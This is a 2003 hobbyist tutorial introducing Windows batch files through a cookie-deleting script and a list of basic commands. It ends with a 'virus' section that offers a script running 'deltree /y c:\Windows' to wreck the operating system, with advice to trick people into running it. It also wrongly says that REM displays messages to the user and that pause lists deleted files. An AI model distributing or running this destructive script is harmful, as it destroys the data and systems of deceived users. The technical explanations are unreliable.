// Introduction to Batch Programming // // by Iconious // // http://www.oldskoolphreak.com June 28, 2003 What is a batch file? Batch files are a list of command line instructions that are "batched" together in one file. Most of the command lines can be executed within the command prompt, but batch files make the work load much easier. Batch files can be opened, copied, and edited using notepad. They are used for simple routines and low-level machine instruction. On Windows, many batch files can be seen within the c:\Windows directory. Batch files, more or less, make up the backbone of the Windows Operating System. The operating system must have access to these files and be able to add and delete instructions from them. Delete them, and you have effectively disabled the OS. I think I read some where that batch files are one of the most primitive forms of virii. (Please correct me if I'm wrong.) I'll explain later in this tutorial how using batch files can be used as virii. Example of a batch file: --------------------------------------------------------------- cls REM ******************************************* REM ** Cookie Delete Program ** REM ******************************************* deltree /y c:\windows\cookies\*.* deltree /y c:\windows\tempor~1\*.* pause cls REM Cookies deleted! :end --------------------------------------------------------------- If you didn't guess by the title of the batch file, that paticular batch file deletes Window's cookies and temp files simply by double clicking on the file itself. I found that very useful file on a website when I first began batch programming. Let's break this file down. cls - Clears any previous data on the command prompt REM - or "Remark" - Lines beginning with REM do not contain commands but instructions or messages that are displayed for the user. The command REM was used here to show a title (Cookie Delete Program). deltree - deltree can be used to delete files or even directories or sub-directories. In this case, the cookies and temp directories were deleted (these directories are rebuilt automatcally), including the files inside. /y - This parameter was passed to deltree, telling it to answer "Yes" to any confirmation questions without interuppting the process. pause - The pause command stops the process temporarily, listing the user all the files being deleted in the process. It also prompts the user with a message "Press any key to continue" Once a key is pressed, the process continues. cls - Clears the screen once again. REM - Prompts the user with the message, "Cookies Deleted!" :end - Ends the process created by the batch file *Note the above process was created to show the user the entire process. If you do not want the user to see the entire process, add @ECHO OFF below the first cls.* Feel free to copy the above batch file into notepad for self use, remember to add the extension ".bat" (Without quotation marks) at the end of the file name. Basic Batch File Utilities and Commands *Note: Any DOS command can be used within a batch file, below are a list of commands used to support the structure and flow of the batch file* @ - Place @ in front of commands that you don't want echoed within the process. CLS - Clears the screen of any previous data. CALL - Calls another batch file. Once other batch file is finished, control is returned to the first (i.e. CALL c:\Windows\Newbat.bat). BREAK ON/OFF - When turned on within the batch file, the user has an option of stopping the batch file by bressing Ctrl+Break. GOTO - This command is used to go to another section of the batch file. Sections can be added by adding a colon infront of a name (i.e. :FIRSTSECTION, :SECONDSECTION): :FIRSTSECTION REM Welcome to the first section GOTO :SECONDSECTION :SECONDSECTION REM Welcome to the second section GOTO :END :END It is possible to loop with the GOTO command: :START REM NO!!!!!!!!!!!!!!!!!! IT'S LOOPING!!!!!!!!!!!!! GOTO :START PAUSE - The pause command halts a proccess until a key is hit by the user. Displays the message, "Press any key to continue..." REM - Allows a remark to be placed within the code, displaying a message to the user (i.e. REM HELLO!). ECHO ON - Command process is shown to user; @ is usually placed before (@ECHO ON). ECHO OFF - Command process is not shown to the user; @ is usually placed before (@ECHO OFF). end - Ends the process. Batch File Virii Yes, batch files can be used as very powerful virii. Remember me saying destroying the batch files within c:\Windows would disable the OS? Why not delete the entire Windows folder? Below shows how easy it is disable Windows, all by double clicking on a file less than 3kb. The only hard part of this batch file virii, is getting people to click on the batch file itself, and that's where social engineering comes into play. ------------------------------------------------------------ cls @ECHO OFF REM -------------------------------------------------------- REM -- Internal Destruction -- REM -------------------------------------------------------- deltree /y c:\Windows cls end ------------------------------------------------------------ Well, that concludes this short introduction to batch file programming. Just remember this tutorial is intended for educational purposes only. If you are hungry for more information on batch programming, I'll be publishing more advanced tutorials shortly. Until next time, ciao.